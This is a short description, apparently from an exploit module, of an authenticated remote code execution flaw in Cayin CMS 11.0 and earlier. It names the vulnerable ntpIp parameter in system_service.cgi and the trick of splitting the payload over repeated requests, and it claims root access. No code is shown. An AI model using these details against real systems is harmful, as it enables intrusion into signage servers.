          This module exploits an authenticated RCE in Cayin CMS <= 11.0. The RCE is executed
          in the system_service.cgi file's ntpIp Parameter. The field is limited in size, so
          repeated requests are made to achieve a larger payload.
          Cayin CMS-SE is built for Ubuntu 16.04 (20.04 failed to install correctly), so the
          environment should be pretty set and not dynamic between targets.
          Results in root level access.
